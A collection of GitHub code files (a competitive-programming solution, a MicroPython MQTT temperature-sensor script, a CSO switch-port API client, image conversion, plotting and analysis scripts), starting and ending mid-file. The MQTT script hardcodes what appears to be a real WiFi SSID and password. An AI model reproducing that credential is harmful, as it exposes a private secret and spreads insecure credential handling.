f(*args, **kwargs)\n while True:\n if type(to) is GeneratorType:\n stack.append(to)\n to = next(to)\n else:\n stack.pop()\n if not stack:\n break\n to = stack[-1].send(to)\n return to\n\n return wrappedfunc\n\n\ndef overk(n, k):\n s = 1\n while n:\n s *= n\n if s >= k:\n return True\n n -= 1\n return False\n\n\ndef check(x):\n pp = set(str(x))\n pp.discard('4')\n pp.discard('7')\n if pp:\n return False\n return True\n\n\n# ms\ndef solve():\n n, k = RI()\n if not overk(n, k):\n return print(-1)\n if n == 1:\n return print(0)\n p = 1\n s = 1\n while s < k:\n p += 1\n s *= p\n a = list(range(n - p + 1, n + 1))\n s = set(a)\n size = len(a)\n k -= 1\n for i, v in enumerate(a):\n ss = sorted(s)\n if factorial(size) == k:\n a[i:] = ss[::-1]\n break\n size -= 1\n f = factorial(size)\n x, k = divmod(k, f)\n a[i] = ss[x]\n s.remove(a[i])\n # print(a)\n # 第k个排列一定是:前边数字就是1~x,后边是剩下数字的排列,且这个数列很短\n # 暴力验证后边部分,然后前边数位dp\n i = n\n ans = 0\n while a:\n # a.pop()\n if check(a.pop()) and check(i):\n ans += 1\n i -= 1\n # 接下来计算1~i 里有几个只含47的数\n s = str(i)\n # print(s)\n @lru_cache(None)\n def f(i, is_limit, is_num):\n if i == len(s):\n return int(is_num)\n ans = 0\n if not is_num:\n ans += f(i + 1, False, False)\n up = int(s[i]) if is_limit else 9\n for j in [4, 7]:\n if j <= up:\n ans += f(i + 1, is_limit and j == up, True)\n return ans\n\n ans += f(0, True, False)\n print(ans)\n\n\nif __name__ == '__main__':\n t = 0\n if t:\n t, = RI()\n for _ in range(t):\n solve()\n else:\n solve()\n","repo_name":"liuliangcan/play_with_python","sub_path":"problem/acw/112/5055.py","file_name":"5055.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"41953817604","text":"\n\ntry:\n import usocket as socket\nexcept:\n import socket\nimport time\nfrom machine import Pin\nfrom time import sleep\nfrom umqttsimple import MQTTClient\nimport ubinascii\nimport machine\nfrom machine import Pin\nimport micropython\nimport network\nimport json\n\nimport onewire, ds18x20\nimport binascii\n\nimport esp\nesp.osdebug(None)\nimport dht\nimport gc\ngc.collect()\n\nssid = 'jabatronic__'\npassword = 'clavel08'\nmqtt_server = '192.168.8.88'\n#EXAMPLE IP ADDRESS\n#mqtt_server = '192.168.1.144'\nclient_id = ubinascii.hexlify(machine.unique_id())\ntopic_sub = b'temp/salon/sync'\ntopic_pub = b'temp/salon'\n\nlast_message = 0\nmessage_interval = 5\ncounter = 0\nd = {}\nubicacion = 'Salon'\nprint (\"Hola\")\n\nstation = network.WLAN(network.STA_IF)\nstation.active(True)\nstation.connect(ssid, password)\nwhile station.isconnected() == False:\n pass\nprint (\"Wifi Conectada\")\nsleep (2)\n\nledpin = Pin(1, Pin.OUT)\nprint (ledpin)\nds_pin = machine.Pin(14)\nprint (ds_pin)\nds_sensor = ds18x20.DS18X20(onewire.OneWire(ds_pin))\n\n\nroms = ds_sensor.scan()\n\nbsensorID = (binascii.hexlify(roms[0]))\nsensorID = bsensorID.decode(\"utf-8\")\nprint('Found DS devices: {} en hex: {}'.format(roms, sensorID))\n\n\nprint('Connection successful')\nprint(station.ifconfig())\n\n\ndef sub_cb(topic, msg):\n print((topic, msg))\n #print (\"El mesaje es: {}\".format(msg))\n if topic == b'temp/salon/sync' and msg == b'leer_temp':\n print('Mensaje para leer la temperatura')\n \n try:\n d = leer_temp()\n msgc=json.dumps(d)\n print (\"Valor de d: {}\".format(d))\n client.publish(topic_pub, msgc)\n except OSError as e:\n restart_and_reconnect()\n \ndef connect_and_subscribe():\n global client_id, mqtt_server, topic_sub\n client = MQTTClient(client_id, mqtt_server)\n client.set_callback(sub_cb)\n client.connect()\n client.subscribe(topic_sub)\n print('Connected to %s MQTT broker, subscribed to %s topic' % (mqtt_server, topic_sub))\n return client\n\ndef restart_and_reconnect():\n print('Failed to connect to MQTT broker. Reconnecting...')\n time.sleep(10)\n machine.reset()\n \n \ndef leer_temp():\n ledpin.value(1)\n print ('Enciendo LED')\n \n th = {}\n ds_sensor.convert_temp()\n time.sleep_ms(750)\n temp = ds_sensor.read_temp(roms[0])\n th['temp']=temp\n th['sensorID']=sensorID\n th['site']=ubicacion\n print(th)\n ledpin.value(0)\n print('Apago LED')\n\n return th\n \n \ntry:\n client = connect_and_subscribe()\nexcept OSError as e:\n restart_and_reconnect()\n \nd = leer_temp()\n\nprint (\"Primer valor de d= {}\".format(d))\n \n \nwhile True:\n try:\n new_message = client.check_msg()\n \n #time.sleep(1)\n except OSError as e:\n restart_and_reconnect()\n\n\n\n\n\n\n\n","repo_name":"jabatron/python-temp-rpi","sub_path":"prueba_mqtt_dallas.py","file_name":"prueba_mqtt_dallas.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37825202836","text":"### IMPORTS ###\nfrom libs import req\nimport json\n\n### CONF IMPORT ###\nfrom config import cso_method\n\n###########################\n# LOGGING SETTINGS\nconsole = None\n###########################\n# PARAMETERS\nuser = cso_method[\"login\"]\npassword = cso_method[\"password\"]\ntenant = cso_method[\"tenant\"]\nhost = cso_method[\"host\"]\nport_profile_default = cso_method[\"conf_default\"]\nport_profile_ap = cso_method[\"conf_ap\"]\n\n###########################\n# VARIABLES\napitoken = {}\nurl_prefix = \"https://%s\" % host\n\n###########################\n# FUNCTIONS\n\n# get API token from CSO\n\n\ndef _get_apitoken():\n url = \"%s/v3/auth/tokens\" % url_prefix\n body = {\n \"auth\": {\n \"identity\": {\n \"methods\": [\"password\"],\n \"password\": {\n \"user\": {\n \"domain\": {\"id\": \"default\"},\n \"name\": user,\n \"password\": password\n }\n }\n },\n \"scope\": {\n \"project\": {\n \"domain\": {\n \"id\": \"default\"\n },\n \"name\": tenant\n }\n }\n }\n }\n resp = req.post(url=url, body=body)\n if resp[\"status_code\"] == 200 or resp[\"status_code\"] == 201:\n apitoken[\"token\"] = resp[\"headers\"][\"X-Subject-Token\"]\n apitoken[\"data\"] = resp[\"result\"]\n console.info(\"CSO Authentication successful\")\n else:\n console.critical(\n \"Unable to get access to CSO. Please check your authentication settings!\")\n\n# Devices\n\n\ndef _get_devices():\n url = \"%s/data-view-central/device\" % url_prefix\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n resp = req.get(url=url, headers=headers)\n return resp[\"result\"][\"device\"]\n\n\ndef _find_device_uuid(site_name, device_name, thread_id):\n devices = _get_devices()\n device_uuid = None\n for device in devices:\n if device_name in device[\"fq_name\"]:\n device_uuid = device[\"uuid\"]\n if device_uuid == None:\n console.error(\n \"CSO SITE: %s | Unable to find the device %s in your CSO account. The configuration will fail, Stopping the prorcess...\" %(site_name, device_name), thread_id)\n return device_uuid\n\n\ndef _get_device_info(device_uuid):\n url = \"%s/data-view-central/device/%s\" % (url_prefix, device_uuid)\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n resp = req.get(url=url, headers=headers)[\"result\"]\n return resp\n\n# Port Profiles\n\n\ndef _get_port_profile():\n url = \"%s/tssm/port-profile\" % url_prefix\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n resp = req.get(url=url, headers=headers)\n return resp[\"result\"][\"port-profile\"]\n\n\ndef __find_port_profile_uuid(site_name, profile_name, thread_id):\n port_profiles = _get_port_profile()\n port_profile_uuid = None\n for port_profile in port_profiles:\n if profile_name in port_profile[\"fq_name\"]:\n port_profile_uuid = port_profile[\"uuid\"]\n if port_profile_uuid == None:\n console.error(\n \"CSO SITE: %s | Unable to find the port profile %s in your CSO account. The configuration will fail, Stopping the prorcess...\" % (site_name, profile_name), thread_id)\n return port_profile_uuid\n\n# Device Ports\n\n\ndef _get_device_port(switch_uuid):\n url = \"%s/data-view-central/device-port?parent_id=%s\" % (\n url_prefix, switch_uuid)\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n resp = req.get(url=url, headers=headers)[\"result\"]\n return resp\n\n# LAN segments\n\n\ndef _get_lan_segments(site_uuid):\n url = \"%s/topology-service/lan-segment/_filter\" % url_prefix\n headers = {\"x-auth-token\": apitoken[\"token\"],\n \"Content-Type\": \"application/json\"}\n body = {\n \"query\": {\n \"bool\": {\n \"must\": [{\n \"term\": {\"parent_uuid._raw\": site_uuid}\n\n }]\n }\n },\n \"detail\": True\n }\n resp = req.post(url, headers, body)\n return resp[\"result\"][\"lan-segment\"]\n\n\ndef _find_lan_segments_uuid(site_name, lan_segments, vlan_id=None, thread_id=None):\n lan_segment_uuid = []\n for lan_segment in lan_segments:\n if vlan_id == None or lan_segment[\"vlan\"] == vlan_id:\n lan_segment_uuid.append(lan_segment[\"uuid\"])\n if len(lan_segment_uuid) == 0:\n console.error(\n \"CSO SITE: %s | Unable to find the vlan %s. The configuration will fail, Stopping the prorcess...\" %(site_name, vlan_id), thread_id) \n return lan_segment_uuid\n\n# Configure swtich port\n\ndef _set_switchport_config(site_name, switch_uuid, port_name, port_profile_uuid, lan_segment_uuids=[], native_vlan_uuid=None, switch_name=\"N/A\", profile_name=\"N/A\", lan_segments=\"N/A\", native_lan=\"N/A\", thread_id=None):\n url = \"%s/tssm/apply-port-config-association\" % url_prefix\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n body = {\n \"input\": {\n \"port_config_association\": [\n {\n \"device_uuid\": switch_uuid,\n \"port_name\": port_name,\n \"port_configuration\": port_profile_uuid,\n \"configuration_type\": \"profile\",\n \"lan_segment\": lan_segment_uuids,\n \"native_lan\": native_vlan_uuid\n }\n ]\n }\n }\n console.notice(\"\"\"CSO SITE: %s | SWITCH: %s | PORT: %s | Sending request to CSO to apply new configuration:\n Port Profile Name: %s\n LAN Segments: %s\n Native VLAN: %s \"\"\" %(site_name, switch_name, port_name, profile_name, lan_segments, native_lan), thread_id) \n\n resp = req.post(url, headers, body)\n return resp[\"result\"]\n\n# Deploy and Commit switch configuration\n\n\ndef _deploy_switchport_config(site_name, switch_uuid, port_name, switch_name, thread_id):\n url = \"%s/tssm/deploy-port-config-association\" % url_prefix\n headers = {\"x-auth-token\": apitoken[\"token\"]}\n body = {\n \"input\": {\n \"port_config_association\": [\n {\"device_uuid\": switch_uuid, \"port_name\": port_name}\n ]\n }\n }\n console.notice(\"CSO SITE: %s | SWITCH: %s | PORT: %s | Sending request to CSO to deploy new configuration\" % (\n site_name, switch_name, port_name), thread_id) \n\n resp = req.post(url, headers, body)\n return resp[\"result\"]\n\n\ndef _init(hostname, thread_id):\n site_name = hostname.split(\".\")[1]\n switch_name = hostname.split(\".\")[0]\n\n _get_apitoken()\n switch_uuid = _find_device_uuid(site_name, switch_name, thread_id) \n if switch_uuid:\n lan_segments = _get_lan_segments(switch_uuid)\n return [site_name, switch_uuid, lan_segments]\n else:\n return [site_name, switch_uuid, None]\n\n\ndef ap_connected(lldp_system_name, lldp_port_desc, o_console, thread_id=None, *args):\n global console \n console = o_console\n site_name, switch_uuid, lan_segments = _init(lldp_system_name, thread_id)\n if switch_uuid:\n port_profile_uuid = __find_port_profile_uuid(site_name, port_profile_ap[\"port_profile_name\"], thread_id)\n if port_profile_uuid:\n lan_segment_uuids = _find_lan_segments_uuid(site_name, lan_segments, None, thread_id)\n native_vlan_uuid = _find_lan_segments_uuid(site_name, lan_segments, port_profile_ap[\"native_vlan_id\"], thread_id)\n if len(native_vlan_uuid) == 1 :\n _set_switchport_config(site_name, switch_uuid, lldp_port_desc, port_profile_uuid, lan_segment_uuids,\n native_vlan_uuid[0], lldp_system_name, port_profile_ap[\"port_profile_name\"], \"All\", port_profile_ap[\"native_vlan_id\"], thread_id)\n _deploy_switchport_config(site_name, switch_uuid, lldp_port_desc, lldp_system_name, thread_id)\n\n\ndef ap_disconnected(lldp_system_name, lldp_port_desc, o_console, thread_id=None, *args):\n global console \n console = o_console\n site_name, switch_uuid, lan_segments = _init(lldp_system_name, thread_id)\n if switch_uuid:\n port_profile_uuid = __find_port_profile_uuid(site_name, port_profile_default[\"port_profile_name\"], thread_id)\n if port_profile_uuid:\n lan_segment_uuid = _find_lan_segments_uuid(site_name, lan_segments, port_profile_default[\"vlan_id\"], thread_id)\n if len(lan_segment_uuid) == 1 :\n _set_switchport_config(site_name, switch_uuid, lldp_port_desc, port_profile_uuid,\n lan_segment_uuid, None, lldp_system_name, port_profile_default[\"port_profile_name\"],port_profile_default[\"vlan_id\"], None, thread_id)\n _deploy_switchport_config(site_name, switch_uuid, lldp_port_desc, lldp_system_name, thread_id)\n","repo_name":"tmunzer/mesa","sub_path":"src/cso.py","file_name":"cso.py","file_ext":"py","file_size_in_byte":8743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"25185748261","text":"import os\r\nimport pyheif\r\nfrom PIL import Image\r\n\r\ndef heic2jpg (base):\r\n for root, ds, fs in os.walk(base):\r\n for f in fs:\r\n if f.endswith('.heic') or f.endswith('.HEIC'):\r\n fullname = os.path.join(root, f)\r\n i = pyheif.read_heif(fullname)\r\n pi = Image.frombytes(mode=i.mode, size=i.size, data=i.data)\r\n pi.save(fullname[:-5]+\".jpg\", format=\"jpeg\")\r\n os.remove(fullname)\r\n\r\nif __name__ == \"__main__\":\r\n heic2jpg('C:\\\\pictures')","repo_name":"Hmialia/heic2jpg-python","sub_path":"heic2jpg.py","file_name":"heic2jpg.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70353817843","text":"import random\n\nlst = [random.randint(10, 99) for _ in range(30)]\nprint(lst)\n\nkey = int(input('Please enter a value: '))\n\nfor idx in range(len(lst)):\n if lst[idx] == key:\n print('idx =', idx)\n break\n","repo_name":"bjknbrrr/hillel_kiseev","sub_path":"lesson_09/line_search.py","file_name":"line_search.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20578440152","text":"class Solution:\n def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:\n \n minHeap = []\n for x1, x2 in points:\n distance = (x1 ** 2) + (x2 ** 2)\n minHeap.append((distance, x1, x2))\n \n heapq.heapify(minHeap)\n\n res = []\n while k > 0:\n dis, x, y = heapq.heappop(minHeap)\n res.append((x,y))\n k -= 1\n return res\n","repo_name":"jongjunkim/Algorithm_Study","sub_path":"1014-k-closest-points-to-origin/1014-k-closest-points-to-origin.py","file_name":"1014-k-closest-points-to-origin.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12010276361","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport pandas as pd\nimport numpy as np\nimport genericLib as gL\nimport integrateLib as iL\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport seaborn as sn\nimport matplotlib.patches as mpatches\nimport scanpy as sc\nimport ast\nfrom sklearn import preprocessing\nfrom sklearn.manifold import TSNE\nfrom scanpy import AnnData\n\n# setting working dirs\nworkingDirs = gL.setWorkingDirs()\nRAWDIR = workingDirs[0]\nOUTDIR = workingDirs[2]\nMODELDIR = workingDirs[3]\nFIGUREDIR = workingDirs[4]\n\n# setting input data\ncellProteinFile = 'CELLS-PROTEINS.csv'\nproteinCellsOutputFigure = 'ProteinsvsCells.png'\ncellsTimeOutputFigure = 'CellsVsTime.png'\nproteinsTimeOutputFigure = 'ProteinsVsTime.png'\nmetsEngroVsMetabolomicsFile = 'metsEngroVsMetabolomics.csv'\nmetabolomicsLMFile = 'metabolomics_LM.csv'\ntsneFigure = 'tsne.png'\ndotplotFigure = 'dotplot.png'\n\n# Set the color to draw the cell line\ndColors = {\n 'MCF102A': '#029E73',\n 'SKBR3': '#D55E00',\n 'MCF7': '#CC78BC',\n 'MDAMB231': '#BAB029',\n 'MDAMB361': '#0173B2'\n}\n\nsn.set(font_scale = 5)\n\n# Load the data\nData=pd.read_csv(os.path.join(RAWDIR, cellProteinFile), sep=\";\")\nData=Data[Data[\"time (h)\"]!=144]\nData['Line'] = Data['Line'].replace(['MDA-MB-361'],'MDAMB361')\nData['Line'] = Data['Line'].replace(['MDA-MB-231'],'MDAMB231')\n\nDataProt=Data[Data[\"Feature\"]!=\"CELLS\"]\nDataCells=Data[Data[\"Feature\"]==\"CELLS\"]\n\nDataProt2=DataProt[DataProt[\"time (h)\"]!=72]\nDataCells2=DataCells[DataCells[\"time (h)\"]!=72]\n\nnamesLine=np.unique(DataProt[\"Line\"])\nj=0\nfor name in namesLine:\n A=list()\n B=list()\n df=pd.DataFrame()\n for i in range(1,4):\n A.extend(DataProt2[str(i)][DataProt['Line']==name].values)\n B.extend(DataCells2[str(i)][DataCells['Line']==name].values)\n df[\"Proteins\"]=A\n df[\"Cells\"]=B\n df[\"Line\"]=name\n if j==0:\n df_total=df.copy()\n else:\n df_total=df_total.append(df,ignore_index=True)\n j=j+1\n\n\n# Plot protein vs cells\ni=0\nsn.set(font_scale=5)\nf, axes = plt.subplots(1, 5,figsize=(90,15))#,sharey=True)\nfor name in namesLine:\n ax=sn.regplot(x=\"Proteins\",y=\"Cells\",data=df_total[df_total[\"Line\"]==name],ax=axes[i])\n ax=sn.scatterplot(x=\"Proteins\",y=\"Cells\",hue=\"Line\",\n data=df_total[df_total[\"Line\"]==name],ax=axes[i],\n palette={name:dColors[name]},legend=False,s=1000)\n ax.set_title(name,fontsize = 50)\n ax.ticklabel_format(axis='y',style='sci',scilimits=(1,5))\n ax.set(xlabel=\"Protein [$\\mu$g]\",ylabel=\"N° of cells\")\n i=i+1\n\nf.savefig(os.path.join(FIGUREDIR, proteinCellsOutputFigure))\n\n# N° of cells vs Time\ni=0\nsn.set(font_scale=2)\nf=plt.figure(figsize=(12,8))\nfor name in namesLine:\n A=list()\n for j in range(1,4):\n ax=sn.scatterplot(x=\"time (h)\",y=str(j),hue=\"Line\",\n data=DataCells[DataCells[\"Line\"]==name],\n palette={name:dColors[name]},legend=True,s=100)\n A.append(DataCells[DataCells[\"Line\"]==name][str(j)])\n A=np.array(A)\n sn.lineplot(x=[0,24,48,72],y=[np.mean(x) for x in A.T],color=dColors[name],legend=True)\n i=i+1\n\nax.set(xlabel=\"Time (h)\",ylabel=\"N° of cells\")\nax.ticklabel_format(axis='y',style='sci',scilimits=(1,5))\n\nhandles=list()\nfor name in dColors.keys():\n handles.append(mpatches.Patch(color=dColors[name], label=name))\nax.legend(handles=handles)\nf.savefig(os.path.join(FIGUREDIR, cellsTimeOutputFigure))\n\n# Protein vs Time\ni=0\nsn.set(font_scale=2)\nf=plt.figure(figsize=(12,8))\nfor name in namesLine:\n A=list()\n for j in range(1,4):\n ax=sn.scatterplot(x=\"time (h)\",y=str(j),hue=\"Line\",\n data=DataProt[DataProt[\"Line\"]==name],\n palette={name:dColors[name]},legend=True,s=100)\n A.append(DataProt[DataProt[\"Line\"]==name][str(j)])\n A=np.array(A)\n sn.lineplot(x=[0,24,48,72],y=[np.mean(x) for x in A.T],color=dColors[name],legend=True)\n i=i+1\n\nax.set(xlabel=\"Time (h)\",ylabel=\"Protein [$\\mu$g]\")\nax.ticklabel_format(axis='y',style='sci',scilimits=(1,5))\n\nhandles=list()\nfor name in dColors.keys():\n handles.append(mpatches.Patch(color=dColors[name], label=name))\nax.legend(handles=handles)\n\nf.savefig(os.path.join(FIGUREDIR, proteinsTimeOutputFigure))\n\n# Cluster analysis\n# load conversion table between id metabolites in metamolomics data and id metabolites in ENGRO2 model and create dictionary\nmetIDConversion=pd.read_csv(os.path.join(RAWDIR, metsEngroVsMetabolomicsFile), sep=';')\nmetIDConversion['metId_engro'] = metIDConversion['metId_engro'].apply(ast.literal_eval)\n\n#create dictionary Mass Spectometry to ENGRO\nM_engro_dict=metIDConversion.set_index('metId_M')['metId_engro'].to_dict()\n\n#create dictionary ENGRO to Mass Spectometry\nengro_M_dict=iL.reverse_dict(M_engro_dict)\n\n# Cluster analysis on metabolomic data\ndatasetClustering=pd.read_csv(os.path.join(RAWDIR, metabolomicsLMFile), sep=';',index_col=0)\n\nlista=[el for el in datasetClustering.columns if len(M_engro_dict[el])>0]\ndatasetClustering=datasetClustering.loc[:,lista]\nprint(datasetClustering.shape)\n# Normalize data\nscaler = preprocessing.MaxAbsScaler().fit(datasetClustering)\nX_scaled = scaler.transform(datasetClustering)\n\n# Tsne computation\nX_embedded = TSNE(n_components=2,random_state=0).fit_transform(X_scaled)\n\n# Display the results of tsne\nsn.set_style(\"darkgrid\")\nj=0\nfig=plt.figure(figsize=(15,10))\nfor key in dColors.keys():\n elements=[i+18*j for i in range(18)]\n plt.scatter(X_embedded[elements,0],X_embedded[elements,1],s=300,label=key,color=dColors[key])\n j=j+1\n\nplt.legend()\nplt.tick_params(\naxis='y', # changes apply to the x-axis\nwhich='both', # both major and minor ticks are affected, # ticks along the bottom edge are off\nleft=False, # ticks along the top edge are off\nlabelleft=False,) # labels along the bottom edge are off\n\nplt.tick_params(\naxis='x', # changes apply to the x-axis\nwhich='both', # both major and minor ticks are affected, # ticks along the bottom edge are off\nbottom=False, # ticks along the top edge are off\nlabelbottom=False,) # labels along the bottom edge are off\n\nplt.xlabel(\"TSNE 1\")\nplt.ylabel(\"TSNE 2\")\nfig.savefig(os.path.join(FIGUREDIR,tsneFigure))\n\n# Dotplot\nadata=AnnData(X_scaled)\nadata.var.index=list(datasetClustering.columns)\nadata.obs[\"clusters\"]=[key for key in dColors.keys() for i in range(18) ]\nadata.raw=adata\n\nsc.pp.scale(adata, max_value=10)\nsc.tl.pca(adata, svd_solver='arpack',n_comps=50)\nsc.tl.rank_genes_groups(adata, \"clusters\", method='t-test')\n\ndf_markers=pd.DataFrame(adata.uns['rank_genes_groups']['names']).head(5)\ndf_marker_list=df_markers.T.values.flatten()\n\nmpl.rcParams.update(mpl.rcParamsDefault)\n\ndp=sc.pl.dotplot(adata, df_marker_list, groupby=\"clusters\",expression_cutoff =0,\n swap_axes =True, dendrogram=False,return_fig=True,\n size_title =\"% of samples above mean\",\n #cmap =\"binary\",\n use_raw=False,\n colorbar_title =\"Normalized Mean\")\n\ndp.savefig(os.path.join(FIGUREDIR, dotplotFigure))\n","repo_name":"qLSLab/integrate","sub_path":"pipeline/dataAnalysis.py","file_name":"dataAnalysis.py","file_ext":"py","file_size_in_byte":7006,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"73917681841","text":"import sys\nInRam = r'C:\\github\\GitHub\\InstantRaman'\nsys.path.insert(0, InRam)\nsys.path.insert(0, InRam+'/Thesis')\nfrom launcher import *\nfrom pol_import import *\n# from pol_import import *\nfrom matplotlib.ticker import (MultipleLocator, AutoMinorLocator)\nmpl.rcParams['font.size'] = 10\n# mpl.rcParams['lines.linewidth'] = 1\n\nif __name__ == '__main__':\n\n mainData = DataSet()\n\n # while True:\n mainData.access_linescan('ME17_f3_l1_hero_peakfit_linescan') # this pulls up the database allowing you to access past files.\n # pf = mainData.currentData[383]\n\n# mainData.subtract_BG(normaliseRange = (-1300, -1200, 1300, 1450), baseline = False, showGraph = False, useIndex = False)\n fig, ax = plt.subplots(2,2, figsize = (7,7), sharex = False, constrained_layout = False)\n ax = ax.flatten()\n # axins = ax.inset_axes([0.6, 0.4, 0.98-0.6, 0.59])\n # plt.show()\n cmap = [['Edge','tab:blue'], ['Basal plane','tab:red'], ['785 nm','maroon']]\n # clist = ['tab:red', 'tab:blue']\n nameList = [460, 383, 238, 188, 177]\n # labelDict = {'A$\\mathrm{_{1g}} 243': 243, 'E$\\mathrm{_{1g}} 167':167, 'E$\\mathrm{_{2g}}$ 285':285, 'd 316':316, '142':142, '579':579}\n labelDict = {460:'460 2LA', 383: '383 E$\\mathrm{_{2g}}$', 238: '238 p1', 188: '188 p2', 177: '177 \\nA$\\mathrm{_{1g}}$(M)-LA(M)', 148.3:'150 p3'}\n skipList = [177,10]\n normList = [383, 460]\n count = 0\n dataX = np.arange(len(next(iter(mainData.currentData.values()))))/2\n # posList = [1,8,18,21,22,23,24,25,26,27,28,33,34,35]\n\n norm = np.array(mainData.currentData[238]).astype(float)\n # test = np.array(mainData.currentData[383]).astype(float)\n\n for file, data in mainData.currentData.items():\n print(file)\n for freq in nameList:\n linestyle = 'solid'\n if freq in skipList:\n continue\n\n dataY = np.array(mainData.currentData[freq]).astype(float)\n if freq in normList:\n dataY = (dataY/max(dataY))*max(norm)\n linestyle = 'dashed'\n # dataY = normalise(data, normRange = (200, 300, 370, 395))\n # if '147' in file or '143' in file:\n # if freq == 148.3:\n # freq = 150\n ax[0].plot(dataX[:-1], dataY[:-1], label = labelDict[freq], ls = linestyle)#, c = clist[count])\n # axins.plot(dataX, dataY)\n # count+=1\n # ax.set_xlim(60, 300)\n\n # ax.legend(frameon = False)\n # ax[idx].set_aspect('equal')\n # ymin,ymax = ax.get_ylim()\n # ax.set_ylim(0, 15000)\n\n # ax.set_xlabel('Raman Shift (cm$^{-1}$)', size = 12)\n # ax[0].xaxis.set_minor_locator(MultipleLocator(0.5))\n # plt.show()\n # mainData.currentData = {}\n mainData = DataSet()\n mainData.access_database('ME17_f3_l1_hero_peakfit')\n\n mainData.currentData = mainData.processDict['peakfit']\n # print(mainData.currentData.keys())\n # pause()\n # print(mainData.currentData.values())\n # for series in mainData.currentData.values():\n # peakList = series['peaks']\n # for peak in peakList:\n # print(peak[1])\n # pause()\n\n\n\n fileListOrdered = []\n\n for idx in range(len(mainData.currentData.keys())):\n for file in mainData.currentData.keys():\n if '[{}]'.format(idx) in file:\n fileListOrdered.append(file)\n break\n\n colorMapcol = 'inferno'\n # colorMapcol = 'hot'\n # colorMapcol = 'tab10'\n # fileList = [int(x) for x in sorted([float(mainData.return_scanIDX(file)) for file in mainData.currentData.keys()])] # finds the index, makes it a float so it can be sorted, then re-compiles the list as integers for the next steps\n\n cmp = cm.get_cmap(colorMapcol)\n cMin = 0.0\n cMax = 0.7\n cmpRange = np.linspace(cMin, cMax, len(fileListOrdered))\n\n COL = MplColorHelper(colorMapcol, 0, len(fileListOrdered))\n alph = 0.3\n COLMAP = [(COL.get_rgb(x)[0], COL.get_rgb(x)[1], COL.get_rgb(x)[2], alph) for x in range(len(fileListOrdered))]\n COLMAPSOLID = [(COL.get_rgb(x)[0], COL.get_rgb(x)[1], COL.get_rgb(x)[2], 1) for x in range(len(fileListOrdered))]\n # print(fileListOrdered)\n # pause()\n\n # fig.text(0.73, 0.83, 'Peak FWHM:', size = 10)\n\n\n freqList = [460,383,238,188]\n posList = [1,8,18,21,22,23,24,25,26,27]#,28]#,33,34,35]\n freqDict = {}\n\n freqDict[383] = [(mainData.currentData[fileListOrdered[idx]]['peaks'][7][1], mainData.currentData[fileListOrdered[idx]]['peaks'][7][2]) for idx in posList]\n freqDict[238] = [(mainData.currentData[fileListOrdered[idx]]['peaks'][6][1], mainData.currentData[fileListOrdered[idx]]['peaks'][6][2]) for idx in posList]\n freqDict[408] = [(mainData.currentData[fileListOrdered[idx]]['peaks'][9][1], mainData.currentData[fileListOrdered[idx]]['peaks'][9][2]) for idx in posList]\n freqDict[188] = [(mainData.currentData[fileListOrdered[idx]]['peaks'][3][1], mainData.currentData[fileListOrdered[idx]]['peaks'][3][2]) for idx in posList]\n # freqDict[238] = [(mainData.currentData[file]['peaks'][6][1], mainData.currentData[file]['peaks'][6][2]) for file in fileListOrdered]\n\n for idx in posList:\n file = fileListOrdered[idx]\n data = mainData.currentData[file]['raw']\n print(data)\n\n dataY = normalise(data, normRange = (200, 300, 200, 300))\n # ax[1].plot(data[:, 0], dataY, label = idx, c = COLMAPSOLID[idx])\n #\n # ax[1].set_xlim(200, 280)\n # ax[1].set_ylim(0, 1)\n # plt.show()\n # pause()\n # ax[1].plot()\n legendList = ['Linescan','Frequency of E$\\mathrm{_{2g}}$', 'Frequency of $p1$','Frequency of A$\\mathrm{_{1g}}$']\n posList2 = [(0.25, 0.833), (0.15, 0.42), (0.57, 0.833), (0.54, 0.13)]\n for idx, x in enumerate(freqDict[238]):\n ax[1].scatter(posList[idx]/2, x[0],# s = x[1]*200,\n label = posList[idx]/2, c = COLMAPSOLID[posList[idx]])\n for idx, x in enumerate(freqDict[383]):\n ax[2].scatter(posList[idx]/2, x[0], #s = x[1]*200,\n label = posList[idx]/2, c = COLMAPSOLID[posList[idx]])\n for idx, x in enumerate(freqDict[408]):\n ax[3].scatter(posList[idx]/2, x[0], #s = x[1]*200,\n label = posList[idx]/2, c = COLMAPSOLID[posList[idx]])\n ax[0].axvline(posList[idx]/2, 0.2, 1, color = COLMAP[posList[idx]], linestyle='solid', linewidth = 3)\n\n\n ax[1].plot(np.array(posList).astype(float)/2, [x[0] for x in freqDict[238]], ls = 'dashed', c = 'tab:green')\n ax[2].plot(np.array(posList).astype(float)/2, [x[0] for x in freqDict[383]], ls = 'dashed', c = 'tab:orange')\n ax[3].plot(np.array(posList[:-1]).astype(float)/2, [x[0] for x in freqDict[408]][:-1], ls = 'dashed', c = 'tab:purple')\n # for idx, x in enumerate(freqDict[188]):\n # ax[1].scatter(posList[idx]/2, x[0], s = x[1]*200, label = posList[idx]/2, c = COLMAPSOLID[posList[idx]])\n # ax[1].legend(frameon = False)\n # for idx, x in enumerate(freqDict[383]):\n # ax[1].scatter(idx/2, x[0], s = x[1]*200)\n # ax[0].set_title('Linescan', size = 11)\n # ax[1].set_title('Frequency of $p1$', size = 11)\n # ax[2].set_title('Frequency of E$\\mathrm{_{2g}}$', size = 11)\n # ax[3].set_title('Frequency of A$\\mathrm{_{1g}}$', size = 11)\n\n # 